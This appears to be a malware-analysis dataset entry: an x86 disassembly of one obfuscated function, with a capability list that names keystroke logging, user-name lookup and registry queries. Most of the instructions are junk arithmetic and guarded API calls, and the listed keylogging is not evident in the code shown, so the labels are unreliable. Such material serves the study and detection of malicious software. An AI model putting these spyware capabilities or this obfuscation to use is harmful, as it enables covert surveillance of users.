Function at 0x1002a836
Capabilities:
Compare security identifiers
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get file system object information
Get session user name
Log keystrokes
Log keystrokes via polling
Query or enumerate registry key

Disassembly:
mov eax, 0x100653bd
call fcn.100640f8
sub esp, 0x8ec
push ebx
mov byte [ebp - 0x45], dl
xor edx, edx
inc edx
mov dword [ebp - 0x60], ecx
push esi
mov esi, 0x1f9c
xor ebx, ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x40], edx
push edi
mov edi, 0xa27289ff
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], 0xccd2466e
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], 0xf3b
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], ebx
jmp 0x1002a897
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5cc], 0x64a11600
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a886
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
test eax, eax
je 0x1002a914
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
dec dword [ebp - 0x18]
cmp ecx, eax
cmove eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, 1
setg dl
sub edx, eax
imul ecx, edx, 0xfffffff6
mov dword [ebp - 0x5cc], edx
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0x1032
setle al
xor edx, edx
inc edx
cmp eax, dword [ebp - 0x3c]
jle 0x1002a91b
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1002a91d
mov eax, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], 0xccd2466e
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], 0xf3b
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], ebx
jmp 0x1002a959
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5d8], 0x64a11600
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a948
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
test eax, eax
je 0x1002a9d8
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
dec dword [ebp - 0x18]
cmp ecx, eax
mov eax, edx
cmove eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, 1
setg dl
sub edx, eax
imul ecx, edx, 0xfffffff6
mov dword [ebp - 0x5d8], edx
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0x1032
setle al
xor edx, edx
inc edx
cmp eax, dword [ebp - 0x3c]
jle 0x1002a9df
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1002a9e1
mov eax, edx
mov dword [ebp - 0x30], eax
push 8
pop ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], 0xffff
push 5
mov dword [ebp - 0x18], 0x7dcda720
pop eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x14], ebx
je 0x1002aa4f
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
inc ecx
cmp ecx, eax
setne dl
xor eax, eax
add edx, dword [ebp - 0x2c]
cmp edx, 0xbf11
setge al
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
inc edx
test eax, eax
mov eax, edx
jg 0x1002aa51
mov eax, ebx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jne 0x1002aa60
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x1002aa62
mov ecx, edx
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.USER32.dll_GetDC]
add eax, ecx
sub eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002aaa0
push ebx
push 0x84f
push 0x5d6
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor edx, edx
inc edx
mov dword [ebp - 0x2c], 9
push 0xfffffffffffffffc
mov dword [ebp - 0x40], 7
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0xee676845
mov dword [ebp - 0x2c], 0xc
push 0xffffffffffffffff
pop eax
cmp dword [ebp - 0x2c], ebx
jl 0x1002abab
jmp 0x1002aad3
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
push 2
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1002aaf2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3a8], 0x3989226c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002aae1
mov dword [ebp - 0x14], ebx
jmp 0x1002ab0d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5ec], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002aafc
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3a4], eax
test eax, eax
jne 0x1002ab5d
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
push 4
pop eax
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
imul eax, eax, 0x1a4e
test eax, eax
setns cl
xor eax, eax
cmp ecx, 0x6aeba4d3
setge al
xor ecx, ecx
cmp eax, 0xfffffff6
mov eax, ebx
setge cl
cmp ecx, dword [ebp - 0x3c]
jg 0x1002ab5f
mov eax, edx
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffff8
mov dword [ebp - 0x5e8], eax
mov eax, dword [ebp - 0x2c]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
push 1
setg cl
imul edx, ecx, 0x7d19
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop edx
setge cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x2c]
jns 0x1002aad0
mov dword [ebp - 0x24], 0x1f9c
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x40], 0x2c5eb200
mov dword [ebp - 0x18], 0x1e0c863c
push 3
call fcn.100248e9
mov dword [ebp - 4], ebx
mov dword [ebp - 0x40], 0x33c017f2
mov dword [ebp - 0x1c], ebx
jmp 0x1002abf6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4b4]
mov dword [eax + ecx*4], 0xdc164f94
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002abe3
cmp dword [ebp - 0x14], ebx
je 0x1002ac4b
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0x4b4]
mov dword [eax], ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], 0x390dfc1f
lea ecx, [ebp - 0x448]
push 2
call fcn.100248e9
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x1c], ebx
jmp 0x1002ac7e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x448]
mov dword [eax + ecx*4], 0x9e17716e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ac6b
cmp dword [ebp - 0x14], 0xe2c23779
jbe 0x1002ac9b
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
test eax, eax
jne 0x1002ac9b
mov ecx, ebx
jmp 0x1002ac9e
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x30]
imul eax, ecx
xor ecx, ecx
cmp eax, 0x2714
mov eax, dword [ebp - 0x18]
setne cl
mov dword [ebp - 0x30], ecx
or ecx, 0xffffffff
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xfffffff8
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x448]
setle dl
xor ebx, ebx
cmp edx, 0xee35
setl bl
sub ebx, dword [ecx]
neg ebx
sbb ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x30], ebx
setle al
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x448]
call fcn.10024a9b
or eax, 0xffffffff
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 4], eax
call fcn.10024a9b
mov dword [ebp - 0x40], 1
mov eax, 0x256915a
mov dword [ebp - 0x584], eax
xor ebx, ebx
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], eax
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x40], 0xcd53bc6e
mov dword [ebp - 0x30], 6
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002ad60
push ebx
call dword [sym.imp.USER32.dll_RegisterClassA]
mov dword [ebp - 0x20], 0xa27289ff
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x40], 0xccd2466e
push 2
call fcn.100248e9
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x71c]
mov dword [ebp - 0x18], 0xfe7528ac
or eax, 0xffffffff
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
push 0xfffffffffffffffc
mov dword [ebp - 0x20], 0x34aafbeb
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], 0x4be3d0e7
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x20], 0xc9fe9a5a
mov dword [ebp - 0x14], ebx
push 3
call fcn.100248e9
or eax, 0xffffffff
push 2
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x1002ade1
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x340]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002add2
mov dword [ebp - 0x28], ebx
jmp 0x1002adfe
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x71c]
mov dword [eax + ecx*4], 0x94486cae
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002adeb
mov dword [ebp - 0x28], ebx
jmp 0x1002ae1a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x600], 0xd229656d
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002ae09
mov eax, dword [ebp - 0x340]
push 0xfffffffffffffffc
pop ecx
mov dword [eax], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0xe9a07b30
mov dword [ebp - 0x20], 8
push 3
pop eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x38], 0xc321
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x1c], ebx
jmp 0x1002ae7a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc], 0xe6f8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ae69
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
dec dword [ebp - 0x18]
mov dword [ebp - 0x40], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x410]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x600]
mov eax, dword [ebp - 0x14]
sub eax, 7
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x340]
inc dword [eax]
cmp dword [eax], ecx
jle 0x1002ae2d
lea ecx, [ebp - 0x71c]
call fcn.10024a9b
or eax, 0xffffffff
lea ecx, [ebp - 0x340]
mov dword [ebp - 4], eax
call fcn.10024a9b
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
push 2
pop ecx
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x5a0], ecx
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x1c], 0x307b5ca9
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x1c], 0xffffffe8
cmp dword [ebp - 0x1c], 0xfffffff3
jle 0x1002af6e
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002af62
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff3
jg 0x1002af52
xor eax, eax
inc eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0xf3b
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x190]
push eax
call fcn.100248e9
or eax, 0xffffffff
mov dword [ebp - 4], 2
xor edx, edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x1002afaf
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002af9c
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002afc5
call edi
push eax
call esi
xor edx, edx
inc edx
mov dword [ebp - 0x14], 0x71c7bf0b
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jne 0x1002afee
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
cmp dword [ebp - 0x14], ecx
jg 0x1002afee
cmp dword [ebp - 0x14], ebx
jne 0x1002afee
mov edx, ebx
mov eax, dword [ebp - 0x190]
xor ecx, ecx
push 2
pop esi
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add eax, 0x3b288586
add eax, ecx
xor ecx, ecx
cmp eax, esi
setg cl
sub ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x34]
je 0x1002b0d1
push esi
lea ecx, [ebp - 0x2f8]
call fcn.100248e9
mov dword [ebp - 0x40], 0xb1aa435c
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1002b051
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2f8]
mov dword [eax + ecx*4], 0x1dbdae4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002b03e
push 5
pop eax
mov dword [ebp - 0x34], eax
jmp 0x1002b070
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b06d
call dword [sym.imp.USER32.dll_WaitMessage]
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffb
je 0x1002b05e
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x14]
mov esi, dword [eax]
mov eax, dword [ebp - 0x190]
sub ecx, dword [eax]
mov eax, 0x9c3f9080
cmp eax, ecx
mov eax, dword [ebp - 0x2f8]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax + 4]
mov ecx, 0x9cbadbef
setg dl
xor eax, eax
cmp esi, edx
setle al
add eax, esi
imul eax, esi
cmp ecx, eax
lea ecx, [ebp - 0x2f8]
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
call fcn.10024a9b
jmp 0x1002b162
or eax, 0xffffffff
mov dword [ebp - 0x40], 0xca12535b
mov dword [ebp - 0x3c], 0xfffffffa
xor edx, edx
mov dword [ebp - 0x30], 0x9cad
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
add ecx, 0x3dc28bf3
cmp ecx, eax
mov eax, dword [ebp - 0x30]
push 5
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x40]
neg edx
mov eax, dword [ebp - 0x190]
sbb edx, edx
xor ecx, ecx
neg edx
mov dword [eax], esi
mov dword [ebp - 0x3c], 0x64c7272f
mov eax, dword [ebp - 0x34]
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp eax, ecx
pop eax
setl dl
xor ecx, ecx
add edx, 0x954a
cmp edx, eax
setl cl
xor eax, eax
cmp esi, ecx
sete al
cmp eax, 0x1a7d
jl 0x1002b15c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
or eax, 0xffffffff
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], eax
call fcn.10024a9b
xor esi, esi
mov eax, 0xc7a0
inc esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x20], 0x6951ad38
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], eax
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b1bd
push ebx
call dword [sym.imp.USER32.dll_CharUpperW]
inc dword [ebp - 0x3b8]
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x20], esi
push 3
call fcn.100248e9
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x3c], 0xb000
push esi
call fcn.100248e9
xor edx, edx
mov dword [ebp - 0x18], 0x826f3938
mov dword [ebp - 0x28], ebx
inc edx
jmp 0x1002b20d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa8], 0xfffffff9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002b1fc
push 3
mov dword [ebp - 0x28], ebx
pop esi
jmp 0x1002b22d
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x174]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002b21a
mov dword [ebp - 0x28], ebx
jmp 0x1002b24a
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x180]
mov dword [eax + ecx*4], 0xcaa8e55a
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002b237
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b263
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x174]
mov dword [eax], ebx
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xa8], edx
jl 0x1002b2da
mov dword [ebp - 0x40], 0x39f5fa31
cmp dword [ebp - 0x3c], ebx
je 0x1002b2bd
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
imul eax, dword [ebp - 0x3c], 0xcbe9
add eax, 0xfaeb
cmp eax, dword [ebp - 0xa8]
mov eax, edx
je 0x1002b2bf
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
jmp 0x1002b2fb
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b2fb
push 0x2163
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x180]
cmp dword [eax], ebx
jne 0x1002b313
mov eax, dword [ebp - 0x174]
dec dword [eax]
jns 0x1002b26b
lea ecx, [ebp - 0x180]
call fcn.10024a9b
or eax, 0xffffffff
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], eax
call fcn.10024a9b
mov dword [ebp - 0x28], 0x2eac
xor edx, edx
mov dword [ebp - 0x40], 0xb4e
inc edx
mov dword [ebp - 0x30], 0x8c9a
mov dword [ebp - 0x3c], 0x3047
mov dword [ebp - 0x2c], 0x835a7ab5
mov dword [ebp - 0x18], 0x3ea3
mov dword [ebp - 0x1c], 0xdb553a81
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], esi
jge 0x1002b392
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4cc], edx
inc dword [ebp - 0x1c]
jmp 0x1002b37e
mov ecx, dword [ebp - 0x18]
mov esi, edx
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c8]
cmovg esi, ebx
mov dword [ebp - 0x1c], ebx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
push 2
setg dl
xor eax, eax
cmp edx, 0xe88b1495
pop edx
setne al
xor ecx, ecx
cmp eax, 0x6864
setge cl
sub esi, ecx
imul esi, dword [ebp - 0xe4]
mov dword [ebp - 0xe4], esi
xor esi, esi
mov dword [ebp - 0x28], ebx
inc esi
cmp dword [ebp - 0x28], edx
jg 0x1002b475
mov eax, dword [ebp - 0x4cc]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xec], ebx
je 0x1002b412
mov ecx, esi
cmp dword [ebp - 0xe4], ebx
jne 0x1002b414
mov ecx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x4cc], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xec], esi
inc dword [ebp - 0x28]
jmp 0x1002b3f1
mov dword [ebp - 0x1c], ebx
jmp 0x1002b48b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x614], 0x64a11600
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002b47a
inc dword [ebp - 0x24]
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xcd453606
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jge 0x1002b4c3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a0], 0xae35
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002b4a9
or eax, 0xffffffff
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], ebx
jl 0x1002b5e4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0x91a83acd
mov dword [ebp - 0x40], 0x3fde7504
mov dword [ebp - 0x1c], ebx
jmp 0x1002b4f2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x150], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002b4e5
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], ebx
jmp 0x1002b5cf
mov dword [ebp - 0x40], 0x1c3d076c
push 4
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x1002b533
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x828], 0x13072c02
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002b522
cmp dword [ebp - 0x14], ebx
je 0x1002b547
mov ecx, esi
cmp dword [ebp - 0x14c], ebx
jne 0x1002b549
mov ecx, ebx
mov eax, dword [ebp - 0x198]
imul eax, ecx
push 2
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x19c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
dec eax
cmp edx, eax
setg cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
mov eax, dword [ebp - 0x3c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffffc
setne cl
xor eax, eax
cmp edx, ecx
pop edx
sete al
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002b50c
dec dword [ebp - 0x2c]
push 0xffffffffffffffff
pop eax
jns 0x1002b4cf
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
test eax, eax
je 0x1002b656
mov dword [ebp - 0x40], esi
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
dec dword [ebp - 0x34]
cmp ecx, eax
mov eax, esi
cmove eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x58]
setl cl
xor edx, edx
cmp ecx, esi
setg dl
sub edx, eax
imul ecx, edx, 0xfffffff6
mov dword [ebp - 0x614], edx
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0x1032
setle al
cmp eax, dword [ebp - 0x38]
jle 0x1002b65d
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x1002b65f
mov eax, esi
